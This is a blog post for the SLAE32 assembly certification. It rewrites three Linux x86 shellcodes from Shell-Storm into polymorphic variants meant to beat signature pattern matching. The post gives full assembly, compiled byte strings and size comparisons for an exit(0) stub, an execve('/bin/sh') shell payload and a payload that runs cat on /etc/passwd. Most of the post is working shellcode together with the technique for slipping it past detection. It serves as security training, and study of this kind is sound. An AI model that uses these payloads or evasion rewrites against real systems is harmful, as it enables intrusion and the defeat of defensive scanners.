Posts SLAE32 - Assignment#6 [Polymorphic Shellcode]
Post
Cancel

SLAE32 - Assignment#6 [Polymorphic Shellcode]

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1542

SLAE32 Assignemt#6 Github

Assignement #6

  • Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger 150% of the existing shellcode
  • Bonus points for making it shorter in length than original

What is Polymorphism?

The polymorphism means the ability of an object to take on many forms. In computer science, the term polymorphism also means the ability of differnt objects/codes to respond in a unique way to the same functionality.

Shellcode Selection

I will use the following shellcode from the Shell-Storm to demonstrate the polymorphic shellcode.

  • sys_exit(0) - http://shell-storm.org/shellcode/files/shellcode-623.php
  • /bin/sh - http://shell-storm.org/shellcode/files/shellcode-752.php
  • /bin/cat /etc/passwd - http://shell-storm.org/shellcode/files/shellcode-571.php

1) sys_exit(0)

The original shellcode from the Shell-Storm is as following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/*
Name   : 8 bytes sys_exit(0) x86 linux shellcode
Date   : may, 31 2010
Author : gunslinger_
Web    : devilzc0de.com
blog   : gunslinger.devilzc0de.com
tested on : linux debian
*/

char *bye=
 "\x31\xc0"                    /* xor    %eax,%eax */
 "\xb0\x01"                    /* mov    $0x1,%al */
 "\x31\xdb"                    /* xor    %ebx,%ebx */
 "\xcd\x80";                   /* int    $0x80 */

int main(void)
{
		((void (*)(void)) bye)();
		return 0;
}

The assembly for the original shellcode (sys_exit_original.nasm) in Intel is:

1
2
3
4
5
6
7
8
9
10
global _start

section .text

_start:

	xor eax, eax    ; Zeroing out EAX
	mov al, 0x1     ; Moving 1 to A low in EAX = #define __NR_exit 1 in unistd_32.h --> void exit(int status);
	xor ebx, ebx    ; Zeroing out EBX ==> int status = 0x0
	int 0x80        ; Executing exit(0)

Modified assembly (sys_exit_modified.nasm) is:

1
2
3
4
5
6
7
8
9
global _start

section .text

_start:
        xor eax, eax    ; Zeroing out EAX
        inc eax         ; Increase EAX by 0x1 = #define __NR_exit 1
        xor ebx, ebx    ; Zeroing out EBX ==> int status = 0x0
        int 0x80        ; Executing exit(0)

And let’s compile the both .nasm files with compilerX86.py and compare the bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# python compilerX86.py -f sys_exit_original

[+] Assemble: sys_exit_original.nasm
[+] Linking: sys_exit_original.o
[+] Shellcode: "\x31\xc0\xb0\x01\x31\xdb\xcd\x80"
[+] ASM code: 0x31,0xc0,0xb0,0x01,0x31,0xdb,0xcd,0x80
[+] Creating File: shellcode.c
[+] Compiling Executable: shellcode
[+] Enjoy!

# python compilerX86.py -f sys_exit_modified

[+] Assemble: sys_exit.nasm
[+] Linking: sys_exit.o
[+] Shellcode: "\x31\xc0\x40\x31\xdb\xcd\x80"
[+] ASM code: 0x31,0xc0,0x40,0x31,0xdb,0xcd,0x80
[+] Creating File: shellcode.c
[+] Compiling Executable: shellcode
[+] Enjoy!
1
2
3
4
5
6
7
# echo "[INFO] Original:" && echo -ne "\x31\xc0\xb0\x01\x31\xdb\xcd\x80" | wc -c
[INFO] Original:
8

# echo "[INFO] Modified:" && echo -ne "\x31\xc0\x40\x31\xdb\xcd\x80" | wc -c
[INFO] Modified:
7

It resulted in 12% decrease in the polymorphic shellcode.

2) /bin/sh

The original shellcode from the Shell-Storm is as following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/*
 Title: linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
 Date     : 10 Feb 2011
 Author   : kernel_panik
 Thanks   : cOokie, agix, antrhacks
*/

/*
 xor ecx, ecx
 mul ecx
 push ecx
 push 0x68732f2f   ;; hs//
 push 0x6e69622f   ;; nib/
 mov ebx, esp
 mov al, 11
 int 0x80
*/

#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
              "\x73\x68\x68\x2f\x62\x69\x6e\x89"
              "\xe3\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
 printf ("Shellcode length : %d bytes\n", strlen (code));
 int(*f)()=(int(*)())code;
 f();
}

The assembly for the original shellcode (bin_sh_original.nasm) in Intel is:

1
2
3
4
5
6
7
8
9
10
11
12
13
global _start

section .text

_start:
 	xor ecx, ecx
 	mul ecx
 	push ecx
 	push 0x68732f2f   ;; hs//
 	push 0x6e69622f   ;; nib/
 	mov ebx, esp
 	mov al, 11        ; execve() = #define __NR_execve 11
 	int 0x80

Modified assembly (bin_sh_modified.nasm) is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
global _start

section .text

_start:
    xor eax, eax        ; Zero out EAX
    xor ebx, ebx        ; Zero out EBX
    xor ecx, ecx        ; Zero out ECX

    mov esi, 0x68732f2e
    inc esi
    mov edi, 0x6e69622e
    inc edi

    push esi
    push edi

    mov ebx, esp
    mov al, 0xb         ; execve() = #define __NR_execve 11
    int 0x80

And let’s compile the both .nasm files with compilerX86.py and compare the bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# python ../compilerX86.py -f bin_sh_original
 
[+] Assemble: bin_sh_original.nasm
[+] Linking: bin_sh_original.o
[+] Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
[+] ASM code: 0x31,0xc9,0xf7,0xe1,0x51,0x68,0x2f,0x2f,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0xb0,0x0b,0xcd,0x80
[+] Creating File: shellcode.c
[+] Compiling Executable: shellcode
[+] Enjoy!

# python ../compilerX86.py -f bin_sh_modified
 
[+] Assemble: bin_sh_modified.nasm
[+] Linking: bin_sh_modified.o
[+] Shellcode: "\x31\xc0\x31\xdb\x31\xc9\xbe\x2e\x2f\x73\x68\x46\xbf\x2e\x62\x69\x6e\x47\x56\x57\x89\xe3\xb0\x0b\xcd\x80"
[+] ASM code: 0x31,0xc0,0x31,0xdb,0x31,0xc9,0xbe,0x2e,0x2f,0x73,0x68,0x46,0xbf,0x2e,0x62,0x69,0x6e,0x47,0x56,0x57,0x89,0xe3,0xb0,0x0b,0xcd,0x80
[+] Creating File: shellcode.c
[+] Compiling Executable: shellcode
[+] Enjoy!
1
2
3
4
5
6
7
# echo "[INFO] Original:" && echo -ne "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" | wc -c
[INFO] Original:
21

# echo "[INFO] Modified:" && echo -ne "\x31\xc0\x31\xdb\x31\xc9\xbe\x2e\x2f\x73\x68\x46\xbf\x2e\x62\x69\x6e\x47\x56\x57\x89\xe3\xb0\x0b\xcd\x80" | wc -c
[INFO] Modified:
26

It resulted in 24% increase in the polymorphic shellcode.

3) /bin/cat /etc/passwd

The original shellcode from the Shell-Storm is as following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
 
const char shellcode[]="\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x73\x73\x77\x64" // pu sh dword 0x64777373
"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h
 
int main()
{
(*(void (*)()) shellcode)();
 
return 0;
}
 
 
/*
shellcode[]=	"\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64" 
		"\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
*/

The assembly for the original shellcode (etc_passwd_original.nasm) in Intel is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
global _start

section .text

_start:
        xor eax, eax
        cdq
        push edx
        push dword 0x7461632f   ; tac/
        push dword 0x6e69622f   ; nib/
        mov ebx, esp
        push edx
        push dword 0x64777373   ; dwss
        push dword 0x61702f2f   ; ap//
        push dword 0x6374652f   ; cte/
        mov ecx, esp
        mov al, 0xb
        push edx
        push ecx
        push ebx
        mov ecx, esp
        int 0x80

Modified assembly (etc_passwd_modified.nasm) is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
global _start

section .text

_start:
        xor ebx, ebx    ; Zero out EBX
        mul ebx         ; Zero out EAX and EDX
        push edx        ; Push EDX (0x0) onto the stack => Null terminator

        mov esi, 0x7461632e
        inc esi
        push esi
        mov esi, 0x6e69622e
        inc esi
        push esi
        mov ebx, esp    ; EBX = /bin/cat
        push edx        ; Null terminator

        mov esi, 0x64777372
        inc esi
        push esi
        mov esi, 0x61702f2e
        inc esi
        push esi
        mov esi, 0x6374652e
        inc esi
        push esi
        mov ecx, esp    ; ECX = /etc/passwd
        mov al, 11      ; EAX = execve()

        push edx        ; Null terminator (0x0)
        push ecx        ; /etc/passwd
        push ebx        ; /bin/cat
        mov ecx, esp    ; ['/bin/cat', '/etc/passwd', '0x0']
        int 0x80        ; Execute execve()

And let’s compile the both .nasm files with compilerX86.py and compare the bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# python ../compilerX86.py -f etc_passwd_original

[+] Assemble: etc_passwd_original.nasm
[+] Linking: etc_passwd_original.o
[+] Shellcode: "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"
[+] ASM code: 0x31,0xc0,0x99,0x52,0x68,0x2f,0x63,0x61,0x74,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x52,0x68,0x73,0x73,0x77,0x64,0x68,0x2f,0x2f,0x70,0x61,0x68,0x2f,0x65,0x74,0x63,0x89,0xe1,0xb0,0x0b,0x52,0x51,0x53,0x89,0xe1,0xcd,0x80
[+] Creating File: shellcode.c
[+] Compiling Executable: shellcode
[+] Enjoy!

# python ../compilerX86.py -f etc_passwd_modified

[+] Assemble: etc_passwd_modified.nasm
[+] Linking: etc_passwd_modified.o
[+] Shellcode: "\x31\xdb\xf7\xe3\x52\xbe\x2e\x63\x61\x74\x46\x56\xbe\x2e\x62\x69\x6e\x46\x56\x89\xe3\x52\xbe\x72\x73\x77\x64\x46\x56\xbe\x2e\x2f\x70\x61\x46\x56\xbe\x2e\x65\x74\x63\x46\x56\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"
[+] ASM code: 0x31,0xdb,0xf7,0xe3,0x52,0xbe,0x2e,0x63,0x61,0x74,0x46,0x56,0xbe,0x2e,0x62,0x69,0x6e,0x46,0x56,0x89,0xe3,0x52,0xbe,0x72,0x73,0x77,0x64,0x46,0x56,0xbe,0x2e,0x2f,0x70,0x61,0x46,0x56,0xbe,0x2e,0x65,0x74,0x63,0x46,0x56,0x89,0xe1,0xb0,0x0b,0x52,0x51,0x53,0x89,0xe1,0xcd,0x80
[+] Creating File: shellcode.c
[+] Compiling Executable: shellcode
[+] Enjoy!

1
2
3
4
5
6
7
# echo "[INFO] Original:" && echo -ne "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" | wc -c
[INFO] Original:
43

# echo "[INFO] Modified:" && echo -ne "\x31\xdb\xf7\xe3\x52\xbe\x2e\x63\x61\x74\x46\x56\xbe\x2e\x62\x69\x6e\x46\x56\x89\xe3\x52\xbe\x72\x73\x77\x64\x46\x56\xbe\x2e\x2f\x70\x61\x46\x56\xbe\x2e\x65\x74\x63\x46\x56\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" | wc -c
[INFO] Modified:
54

It resulted in 26% increase in the polymorphic shellcode.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1542

SLAE32 Assignemt#6 Github

This post is licensed under CC BY 4.0 by the author.